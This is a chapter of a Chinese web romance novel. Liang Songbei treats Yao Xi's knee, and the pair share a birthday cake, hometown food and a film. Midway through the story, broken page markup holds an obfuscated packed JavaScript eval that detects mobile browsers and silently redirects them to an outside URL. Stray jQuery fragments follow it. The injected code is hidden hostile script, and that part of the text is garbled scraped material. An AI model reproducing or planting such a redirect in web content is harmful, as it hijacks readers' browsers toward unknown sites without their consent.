18. 18

作品:《西北以北

    楼梯声控灯早就坏了,梁颂北把右手的药箱换到左手,掏出钥匙开门。


    他没有亮灯,也没有开手电筒,足足等眼睛适应了黑夜才推开房门,躺在床边上的人已经不动了,呼吸声均匀绵长。


    藕节似的小腿从床沿上垂了下来,月光从窗帘缝中泻了进来,红褐色的伤口仿佛格格不入的淤泥。


    梁颂北半蹲下来,用棉签沾了些碘酒擦到伤口处,撕开两片创可贴,思量的比画稿下笔前还久,才严丝合缝地贴了上去。


    许是一时激起了太多记忆,疲惫感大厦倾倒般涌来。他轻轻拎起脚腕,把腿放回床上,将被子拉到低。


    梁颂北绕过床尾,手已经覆上门把,听到一声呓语,看向背对着自己的削薄肩背,还剩下一半的空。


    这张床是他买的,但他还从没躺过。


    宣软床垫向下凹陷,难得的安宁闲惬,像某个午后拿着遥控器漫无目的地调着电视。


    然后,忽而一切都破碎掉。


    颈椎酸麻阵痛,是长时间工作落下的毛病,梁颂北翻过身扶向僵硬的脖颈。


    同时削瘦的脊背向他的方向倒来,而后露出了一张温和素净的脸。


    梁颂北不是不知道自己背后的议论纷纷,说他如何下三滥,不过都是子虚乌有,故而从未反驳过。


    如果有人问他做过最不堪的事是什么,他或许会承认,是托梁美英想办法让她租下这间房。


    只是他没想过,事情的发展比他想象的要快得多。


    眼睛睁合了几次,不由自主地靠近,直到鼻尖隐约相蹭,嗅到发丝的果木味香气,口袋里的手机震动响铃。


    梁颂北几乎是瞬间坐了起来,接通电话掩上房门,走进了客厅:“奶奶,你怎么还没睡?”


    “你不是说过今天晚上要回来吗?”


    “不用等我了,赶紧睡吧。”


    “临一前几天来看我,说你去了趟南川。”


    梁颂北早知道李临一是个大嘴巴,也没想到会为了过嘴瘾特意往他家跑一趟。


    奶奶说话的时候还能听到收音机的声音:“是正经活吧?工资多不多?”


    “不少,操这么多心做什么。”


    挂掉电话后,他抬手掐了掐眉心。


    ……


    听到门关上的声音,姚希才睁开眼睛。


    看到身上特意避开膝盖伤口的薄毯,她似乎还能在吞吐中嗅到淡淡烟草和着皂荚的味道。


    她应当是在车上就睡着了,直到膝盖乍凉才醒过来,感官才渐渐苏醒。


    手心潮湿,掐出了指痕。


    姚希总觉得今天梁颂北哪里不一样,却又说不出来是哪里,是因为她惹麻烦,还是因为朋友的言里言外……


    她不止一次从不同人口中听说过他,他们的描述相同,却与她见到的不同。


    所以她不敢睁眼,不敢问,怕原因是自己,更怕原因是他。


    姚希彻底没有了睡意,拿着手机漫无目的地浏览着,从娱乐新闻到时尚穿搭,再从情感问题到亲子关系,最后停留在了一家甜品店里。


    翻来覆去犹豫了许久,预定了一单六寸的水果蛋糕,然后想了好久该说些什么才能把这蛋糕送出去。


    直接祝他工作顺利、前程似锦?可她听得又不算光明正大。


    姚希把手从薄毯中拿了出来,摸了摸身旁的空位,已经彻底变凉,甚至没有一点躺过留下的褶皱。


    她趿上鞋走到窗边,拉开窗帘,向下看去。


    长街没有灯光,漆黑一片,看不清任何东西。


    甚至是巨大的石头山,都已经隐入黑夜,了无踪迹。


    —


    蛋糕预定的时间是中午十二点,正好可以赶上饭点。


    姚希昨晚直到天亮才睡着,醒来的时候刚过十点,手机就有了许多新消息。


    她一时有些心慌,怕是学校知道了昨天发生的事,不过万幸只是一些杂七杂八的信息,其中就有一条是李临一的——小孩昨晚已安全送到家。


    为了给送出蛋糕找一个正当的理由,姚希在表示感谢后面特意问了一句梁颂北的情况。


    外卖送的比想象中的要快,但是小区的位置太偏僻,骑手找不到就放到了西街口的小卖部里。


    姚希简单洗漱了一下,挑了一件显精神的裙子,对着镜子画了个淡妆。


    下楼时,膝盖上的创可贴翘了个角,她又按了回去。


    小卖部里没有人,姚希绕着货架找了一圈,才看到被放在冰柜里的蛋糕。


    “小北,那边催得紧,我可替你拖不了多久了。”


    她刚刚提起纸盒,店门口传来梁美英的声音,有些埋怨道:“不是说是上市公司嘛,怎么还带反悔的,让人白跑一趟。”


    姚希沿着货架向前走,听到一尺之隔的声音,滞住了脚步。


    “大城市和这儿不一样,都看第一学历,怨不得别人。”


    手中纸盒没有拿稳,啪嗒一声掉到了地上。


    她向前一步赶紧捡起来,想要检查里面的蛋糕有没有被摔坏,便听到:“周六怎么不多睡会儿。”


    梁颂北换了一身清爽的白色衬衫,头发微湿,左肩挎着双肩背书包,昨夜身上的疲惫感一洗而空。


    这身打扮的像个学生,但他的学生时代绝对不会是这样,因为岭北的初高中都是肥大宽松的校服,还有一指长的寸头。


    相比而言,姚希丰富物质生活中的哀怨,倒显得是无病呻吟。


    他目光上下移动,最后落到了蛋糕盒上。


    姚希下意识把东西往身后藏,然而下一秒身后就传来了小孩稚嫩的声音:“阿姨,你的蛋糕都坏了,要不然……”


    梁美英眼疾手快捂住了儿子的嘴,拽回了自己身边。


    “那就给你吃吧。”


    姚希只想快点离开,赶忙把蛋糕盒送了出去,却在半道被人截到手里。


    她看见梁颂北拎着纸盒弯下腰,潮湿的黑发垂在额际,伸手捏住了胖嘟嘟的脸:“哥哥小时候听过一个故事。”


    “什么故事?”


    “贪吃的人会变成猪。”


    小孩脸色骤变,鼓起勇气问道:“然后呢?”


    “然后被人吃掉。”


    ……


    除了一个摔得稀碎的蛋糕,与姚希一同回家的还多了一个人。


    原本要说的话似乎都变成了禁忌,以至于她想了好久都不知如何打破这份静谧。


    直到走到单元门口,梁颂北才停下问道:“腿还疼吗?”


    其实她本身就没受什么伤,比她更严重的应该是黄毛的后脑勺,毕竟拍碎了一块板砖。


    看到他摘下双肩背,姚希赶忙摆手道:“不疼,我自己能上去的。”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14253319|151005||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    然而梁颂北只是换了个肩膀背着,眉梢扬起扭头看着她,倒显得她几分自作多情。


    姚希正觉得尴尬,四姨姥便从楼上栏杆露出了脑袋,声音嘹亮到充斥整栋楼房:“小姚啊!一会儿来我家吃饭吧,我孙子马上就到家了!”


    就在她准备开口的时候,梁颂北却径直蹲了下来,宽松衬衫收紧,露出干净优越的背部线条。


    四姨姥兴冲冲地下来,看到眼前一幕霎时傻了眼。


    “四姨姥费心了,不过她吃不惯重油重盐的菜。”


    身体几近将她挡的严实,只露出一个额头,手臂搭在硬实的肩膀上,拎着背包和纸盒。


    比起负重的梁颂北,呼吸失了节奏的姚希倒更像是出力的人。


    到四楼台阶处,她才被放了下来,双脚着地时有些轻飘飘。


    书包并不像看起来那么轻,上面有几处圆珠笔画过的痕迹,棱角处磨出了毛刺。


    姚希刚要把包递出去,便听到:“你带回去吧。”


    “这次走得急,路上随便买了点儿。”梁颂北站在下一节台阶上,她甚至可以看到他肩线处被她口红蹭上的印记。


    双肩背外衣褪去,露出姚希再熟悉不过的糯米菜团、卤水豆腐和梅菜煎饼,是她从小吃到大的东西。


    大都是现做的保质期短的食物,她已经很久没有吃过了。


    从南川开车到岭北,少则五个小时。


    “昨天晚上我就放冰箱了,今天我也吃了,没有坏。”


    看着闷声不语的姚希,梁颂北终于忍不住问道:“一会儿有朋友要来吗?”


    “没有,就我一个人。”姚希从思绪中脱离,看到梁颂北正盯着她手里的蛋糕盒,想着找个合适的理由。


    她灵机一动,从来没觉得自己这么伶俐过:“因为我今天过生日。”


    梁颂北似乎有些意外:“是吗?”


    ……


    “你想看什么电影?”


    姚希把吃的放进盘子里热了一下,端出去的时候梁颂北正在调电视:“《当幸福来敲门》?”


    盘子摆成三角,蛋糕放在了中间,姚希拆开纸盒看到巧克力上糊掉的字松了口气,兴冲冲地插上了彩色蜡烛。


    “好像没有,看别的行吗?”梁颂北放下遥控,转头看到支离破碎的蛋糕:“要用打火机吗?”


    姚希点了点头,两人换了位置,她坐到沙发上调电视。


    机顶盒是老牌子,点播片子十分有限,良莠不齐的网络大电影里掺杂着几部老片子。


    梁颂北掏了掏兜:“我好像忘记带了。”


    “靠墙的储物柜第二个抽屉里面有。”她脱口而出。


    当姚希意识到不对时已经晚了,她偷偷藏起来的绿色塑料打火机此刻正躺在他的手中。


    咔哒按下,冒出橘黄色的火焰。


    看到梁颂北抬眸似要说什么,姚希拿起遥控立即按下了播放键:“这个挺好的,就看这个吧。”


    “什么片子?”


    电影是随便选的,她也不知道是什么。


    梁颂北依次把蜡烛点燃,末了数了一圈,又插上了一支,然后让出了面朝电视的主位。


    姚希挪了过去,双手合十,眯着眼假装许愿。


    她从没告诉过他自己多大,吹灭蜡烛时偷偷数了数,发现刚好是二十三支,她的年纪加一。